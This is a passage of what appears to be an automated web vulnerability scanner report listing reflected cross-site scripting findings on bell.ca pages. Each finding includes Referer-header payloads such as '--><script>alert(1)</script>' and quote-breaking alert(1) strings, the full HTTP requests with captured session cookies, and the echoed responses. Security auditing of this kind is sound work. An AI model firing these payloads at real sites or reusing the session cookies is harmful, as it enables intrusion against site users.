GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: http://www.google.com/search?hl=en&q=c9e3c'-alert(1)-'87387779b9b

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:06:31 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=zmBYMtGXXppf9ftGnj2sT1kg1J52FGYcTFLFG3lMLc0nGrpHL4RZ!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13771


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=c9e3c'-alert(1)-'87387779b9b';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.371. http://www.bell.ca/accessibilityservices/index.jsp [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /accessibilityservices/index.jsp

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f5846'-alert(1)-'9aa4a3f4726 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /accessibilityservices/index.jsp HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: http://www.google.com/search?hl=en&q=f5846'-alert(1)-'9aa4a3f4726

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:06:28 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=5LnHMtGJBL4ypn0PHVvRDb8CnZQvFGZvzxkss31w2yLrTVSv11mp!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13771


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=f5846'-alert(1)-'9aa4a3f4726';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.372. http://www.bell.ca/accessibilityservices/index.jsp [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /accessibilityservices/index.jsp

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 2f64a--><script>alert(1)</script>2acef329235 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /accessibilityservices/index.jsp HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: 2f64a--><script>alert(1)</script>2acef329235

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:06:34 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Length: 11111
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=hQQ2MtGZR0tShXNMz1rZQF24p3M5Rk1TyfqBhVFmvvy26SlmYxsC!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 2f64a--><script>alert(1)</script>2acef329235 -->

2.373. http://www.bell.ca/home/jsp/employeelogin/begin.do-- [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /home/jsp/employeelogin/begin.do--

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 161ec--><script>alert(1)</script>1ded247734c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /home/jsp/employeelogin/begin.do-- HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;
Referer: http://www.google.com/search?hl=en&q=161ec--><script>alert(1)</script>1ded247734c

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 01:19:26 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3641
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/home/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6]>

...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=161ec--><script>alert(1)</script>1ded247734c -->
...[SNIP]...

2.374. http://www.bell.ca/shopping/PrsShpPns_Landing.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpPns_Landing.page

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 25950--><script>alert(1)</script>6b17f8185e1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/PrsShpPns_Landing.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;
Referer: 25950--><script>alert(1)</script>6b17f8185e1

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:19:08 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Length: 11098
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=zjn1MsyLM20gkJ491wkS1Z7MYYpLDL00nn0tGr52VMWhCVSDKZHb!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/shopping/framework/skins/content/cont
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 25950--><script>alert(1)</script>6b17f8185e1 -->

2.375. http://www.bell.ca/shopping/PrsShpPns_Landing.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpPns_Landing.page

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1d3e0'-alert(1)-'9130bf6b69e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/PrsShpPns_Landing.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;
Referer: http://www.google.com/search?hl=en&q=1d3e0'-alert(1)-'9130bf6b69e

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:19:06 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=g3vLMsyJhQzrDLWPhm5ncg3S5Xp1nHk5fJ4Ln261pLHTGcmGTlx5!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13650


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/shopping/framework/skins/content/cont
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=1d3e0'-alert(1)-'9130bf6b69e';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.376. http://www.bell.ca/shopping/PrsShpPromo_Gnl_Move_offers.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpPromo_Gnl_Move_offers.page

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 7304b--><script>alert(1)</script>4e74456050c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/PrsShpPromo_Gnl_Move_offers.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: 7304b--><script>alert(1)</script>4e74456050c

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:42:19 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Length: 11098
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=YmsdMtQKNcRbty7rkvyns8XVw4hdKywc7QJvWJy2v1DxwnGyrT3X!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/shopping/framework/skins/content/cont
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 7304b--><script>alert(1)</script>4e74456050c -->

2.377. http://www.bell.ca/shopping/PrsShpPromo_Gnl_Move_offers.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpPromo_Gnl_Move_offers.page

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c460f'-alert(1)-'2d454e965e1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/PrsShpPromo_Gnl_Move_offers.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: http://www.google.com/search?hl=en&q=c460f'-alert(1)-'2d454e965e1

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:42:14 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=y2zyMtQG77Q7bQvRl3mGYlGLp1myfpPnhRpvSb8Q14TVBDRDQZsz!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13744


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/shopping/framework/skins/content/cont
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=c460f'-alert(1)-'2d454e965e1';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.378. http://www.bell.ca/specialneeds [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /specialneeds

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 7be77--><script>alert(1)</script>15581db9050 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /specialneeds HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: 7be77--><script>alert(1)</script>15581db9050

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:08:22 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Length: 11111
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=CYsKMtGGdHvSlSW26c3HllwfT9tGTj1npz15yvq36Mv7pQJHXbQq!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 7be77--><script>alert(1)</script>15581db9050 -->

2.379. http://www.bell.ca/specialneeds [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /specialneeds

Issue detail

